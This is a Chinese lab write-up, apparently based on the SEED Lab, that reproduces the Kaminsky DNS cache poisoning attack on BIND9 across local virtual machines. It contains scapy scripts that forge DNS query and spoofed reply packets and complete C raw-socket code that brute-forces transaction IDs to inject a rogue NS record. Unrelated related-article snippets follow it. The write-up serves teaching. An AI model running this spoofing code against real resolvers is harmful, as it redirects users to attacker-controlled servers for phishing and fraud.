0x00 搭建实验环境

使用3台Ubuntu 16.04虚拟机,可到下面的参考链接下载

攻击的服务是BIND9,由于条件限制,这里使用本地的一台虚拟机当作远程DNS解析器,关闭了DNSSEC服务,其中三台机器IP地址,如下图所示:

具体的实验环境搭建过程,可参考:SEED Lab Description

配置User VM:

在用户机 的 /etc/resolvconf/resolv.conf.d/head文件中,加入下面语句,将其Local DNS 设为 10.0.2.5。

更新 resolv.conf 文件

sudo resolvconf  -u

进行验证:dig www.example.com ,SERVER 为 要设置的Local DNS ip ,即表示设置成功。

配置 Local DNS Server VM:

编辑 /etc/bind/named.conf.options文件,①关闭DNSSEC ②将缓存 存放在dump.db文件 ③设置查询请求源端口为33333

编辑 /etc/bind/named.conf文件,红框中的 可以帮助我们在 attack32.com不存在的情况下,也能进行转发。(在本地域名服务器里面设置,到查询这个域名,不去询问根域名,不用买域名服务器,去询问10.0.2.6,其他域名还是去根域名依次递归查询找的。)

全配置好之后,重启bind9服务。

sudo service bind9 restart

配置 attacker VM:

编辑 /etc/bind/named.conf 文件,设置两个attack32.com,example.com两个域。

编辑 /etc/bind/attack32.com.zone 文件

编辑 /etc/bind/example.com.zone文件

这里的含义是,如果缓存中毒,会把攻击者的机器当作权威域名服务器,向其 发出询问,而攻击者机器下的example.com.zone 文件时伪造的,欺骗的。

全配置好之后,重启bind9服务

sudo service bind9 restart

0x01攻击概述

攻击条件

①攻击者无法进行链路上的窃听,但具有IP欺骗能力,攻击者拥有一台attack32.com域名服务器。

②服务器没有开启DNSSEC功能。

③服务器没有进行源端口随机化,且已知发出查询的源端口为33333。

攻击模型

①攻击者先向DNS 解析器发送一个xxxxx.example.com 的DNS查询报文,触发解析器去向根域名服务器,顶级域名服务器,权威域名服务器递归解析。

②递归解析器向权威域名服务器发出查询请求。

③攻击者发送大量的伪造的权威域名服务器响应数据包,其中使用NS记录,将example.com整个域的查询 转向attack32.com,攻击者的域名,实现缓存中毒。一旦TXID命中,即可造成缓存中毒。

④真正的权威域名服务器进行响应。

0x02 实验代码

思路:使用C代码伪造DNS数据包 代码运行速度较快,完全可以满足攻击要求,但构造过程较为复杂,使用python scapy库的方式,构造数据包简单,但执行速度较慢,使Local DNS 缓存中毒难度较大。

综合以上,我们打算 结合二者,先用python scapy 库构造数据包,保存为二进制文件,然后再用C语言去加载构造的数据包,在相应的偏移位置做出修改。( 可以使用bless工具去查看偏移量 )。

因为需要去循环进行查询,爆破相应transaction ID,所以我们要修改的在触发查询的请求包中主要是请求的域名,在响应包里面需要修改域名,transaction ID。

伪造请求包触发DNS解析器递归查询

from scapy.all import *

target_name="xxxxx.example.com"    

ip  = IP(dst='10.0.2.5',src='10.0.2.6')                #dst为Local DNS IP,src是攻击者IP。
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns with open('Query.bin','wb')as f:
f.write(bytes(Querypkt))

使用bless 查看偏移量:

发现xxxxx.example.com 在数据包中的偏移量为0x29,及转化为十进制为41。

后面会使用C code 进行修改。

伪造响应包

from scapy.all import *

targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attack32.com" dstIP="10.0.2.5"
srcIP='199.43.135.53' ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0) Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns with open('Reply.bin','wb') as f:
f.write(bytes(Replypkt))

使用bless查看偏移量:

因为之前我们生成的响应数据包transaction ID为0xAAAA,所以这里我们可以直接查找16进制代码找到,偏移量为0x1c,十进制为28。

同理,第一个xxxxx.example.com 在数据包中的偏移量为0x29,41,第二个xxxxx.example.com 在数据包中的偏移量为0x40,64。

C攻击代码:

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h> #define MAX_FILE_SIZE 2000 /* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
}; void send_raw_packet(char * buffer, int pkt_size); int main()
{
long i = 0; srand(time(NULL)); // Load the DNS request packet from file
FILE * f_req = fopen("Query.bin", "rb");
if (!f_req) {
perror("Can't open 'Query.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req); // Load the first DNS response packet from file
FILE * f_resp = fopen("Reply.bin", "rb");
if (!f_resp) {
perror("Can't open 'Reply.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp); char a[26]="abcdefghijklmnopqrstuvwxyz";
unsigned short transaction_id = 0;
while (1) { // Generate a random name with length 5
char name[5];
for (int k=0; k<5; k++) name[k] = a[rand() % 26];
printf("attempt #%ld. request is [%s.example.com], transaction ID is: [%hu]\n",
++i, name, transaction_id); //##################################################################
/* Step 1. Send a DNS request to the targeted local DNS server
This will trigger it to send out DNS queries */
memcpy(ip_req+41,name,5); //偏移量为41
send_raw_packet(ip_req, n_req); // Step 2. Send spoofed responses to the targeted local DNS server.
memcpy(ip_resp+41,name,5); //xxxxx 两个域名偏移量为 41 和64
memcpy(ip_resp+64,name,5); for(int i=0;i<100;i++)
{
transaction_id++; memcpy(ip_resp+28,&transaction_id,2);
send_raw_packet(ip_resp,n_resp);
} //##################################################################
}
return 0;
} /* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1; // Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); // Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable)); // Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer; //IP包
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}

0x03 详细过程:

dig www.example.com 进行解析,可得到正常情况下的地址为93.184.216.34

未发动攻击前,使用check.sh查看缓存,缓存中并没有相应记录。

注意使用raw socket 要使用 sudo进行执行程序。

程序运行过程:

0x04 结果验证

在Local DNS sever 端 写了一个bash脚本check.sh,进行验证,也可直接在terminal终端使用中间两条命令。

#!/bin/bash

echo 'dump the cache'
sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep attack
echo 'if there is no result,the attack has not succeed yet'

sudo rndc dumpdb -cache 将bind的缓存转存到/var/cache/bind/dump.db

cat /var/cache/bind/dump.db | grep attack 查看dump.db文件, grep attack 查找带有attack的。

大约十秒左右,即可在Sever VM,通过check.sh脚本查看到结果。

然后在User VM,进行验证。

攻击成功!

0x05 参考资料

SEED Lab

SEED Lab Description

DNS 缓存中毒--Kaminsky 攻击复现的更多相关文章

  1. DNS缓存中毒是怎么回事?

    近来,网络上出现互联网漏洞——DNS缓存漏洞,此漏洞直指我们应用中互联网脆弱的安全系统,而安全性差的根源在于设计缺陷.利用该漏洞轻则可以让用户无法打开网页,重则是网络钓鱼和金融诈骗,给受害者造成巨大损 ...

  2. DNS缓存中毒的知识

    网络上出现互联网漏洞——DNS缓存漏洞,此漏洞直指我们应用中互联网脆弱的安全系统,而安全性差的根源在于设计缺陷.利用该漏洞轻则可以让用户无法打开网页,重则是网络钓鱼和金融诈骗,给受害者造成巨大损失. ...

  3. DNS缓存欺骗攻击

    1.受影响的无线网络设备 一些D-link.TP-Link.Belkin.Linksys及IPTime等品牌无线路由器存在安全隐患. 2.漏洞描述 攻击者向DNS服务器注入非法网络域名地址,如果服务器 ...

  4. DNS 缓存投毒

    原文:[DNS Cache Poisoning]( https://medium.com/iocscan/dns-cache-poisoning-bea939b5afaf) 译者:neal1991 w ...

  5. 清除Windows的DNS缓存

    最近ESET杀毒软件老是提示受到DNS缓存攻击,然后就不能打开网页,或者打开得很慢.这是由于缓存的DNS被更改,访问的是错误的IP地址造成的. 解决的办法就是清除DNS缓存,打开DOS命令窗口,先后输 ...

  6. 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击

    有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...

  7. 域名解析的DNS缓存如何清理

    域名解析(DNS)缓存是什么? 域名解析缓存又名DNS缓存,常见表现名称是TTL:(TimeToLive)生存时间,就是域名解析记录在DNS服务器中的存留有效时间. 当各地的DNS服务器接受到解析请求 ...

  8. MAC与ARP缓存中毒介绍

    ARP 协议 用于地址解析,请求MAC地址. arp -a 或者 -n 查看ARP缓存表 ls(ARP) 查看scapy里的协议字段 ARP缓存中毒原理 ARP收到ARP请求报文,会将发送方的mac地 ...

  9. 利用DNS缓存和TLS协议将受限SSRF变为通用SSRF

    本文首发于先知社区 前言 这是今年BlackHat上的一个议题:When TLS Hacks You,作者是latacora的Joshua Maddux 议题提出了一个新的ssrf攻击思路,利用DNS ...

随机推荐

  1. ECMAScript 2021 新特性

    ECMAScript 2021 新特性 refs https://codeburst.io/exciting-features-of-javascript-es2021-es12-1de8adf655 ...

  2. 什么是NGK节点?NGK的节点有什么作用?

    从2018年EOS竞选超级节点火爆整个区块链圈,节点和超级节点就成为了热议的话题,时至今日,热度依然不减.节点是项目生态发展的重要组成部分,超级节点对项目的运行.安全更是起着至关重要的作用.   什么 ...

  3. JULLIAN MURPHY:拥有良好的心态,运气福气便会自来

    JULLIAN MURPHY是星盟全球投资公司的基金预审经理,负责星盟投资项目预审,有着资深的基金管理经验,并且在区块链应用的兴起中投资了多个应用区块链技术的公司. JULLIAN MURPHY认为往 ...

  4. 02.Fancy Indexing

    import numpy as np x = np.arange(16) index = [3,5,8] x[index] array([3, 5, 8]) X = x.reshape(4,-1) X ...

  5. 【Python】面向对象:类与继承简单示例

    Python 面向对象 Python 是一门面向对象的设计语言,与此对应的就是面向过程编程与函数式编程 面向对象的一个优点就是更好的增强代码的重用性. 面向过程编程可以简单的理解为:重点在步骤,将一个 ...

  6. RabbitMQ之TTL(Time-To-Live 过期时间)

    本文转载自RabbitMQ之TTL(Time-To-Live 过期时间) 概述 RabbitMQ可以对消息和队列设置TTL. 目前有两种方法可以设置.第一种方法是通过队列属性设置,队列中所有消息都有相 ...

  7. Java 开源办公开发平台 O2OA V5.4.0 发布 | 设计元素搜索功能上线

    O2OA V5.4.0版本此次更新的设计元素搜索功能,可以让用户在海量的脚本.页面.表单.视图等信息中迅速锁定有价值的信息,以便提高用户获取信息的效率.拥有此搜索功能后,在开发过程中,可以加速定位脚本 ...

  8. Mybatis高级:Mybatis注解开发单表操作,Mybatis注解开发多表操作,构建sql语句,综合案例学生管理系统使用接口注解方式优化

    知识点梳理 课堂讲义 一.Mybatis注解开发单表操作 *** 1.1 MyBatis的常用注解 之前我们在Mapper映射文件中编写的sql语句已经各种配置,其实是比较麻烦的 而这几年来注解开发越 ...

  9. list.add(int index, E element)和list.addAll(list1)

    List.add(int index, E element): 在列表的指定位置插入指定元素(可选操作).将当前处于该位置的元素(如果有的话)和所有后续元素向右移动(在其索引中加 1). 参数:ind ...

  10. 痞子衡嵌入式:盘点国内RISC-V内核MCU厂商

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是国内RISC-V内核MCU厂商. 虽然RISC-V风潮已经吹了好几年,但2019年才是其真正进入主流市场的元年,最近国内大量芯片公司崛起 ...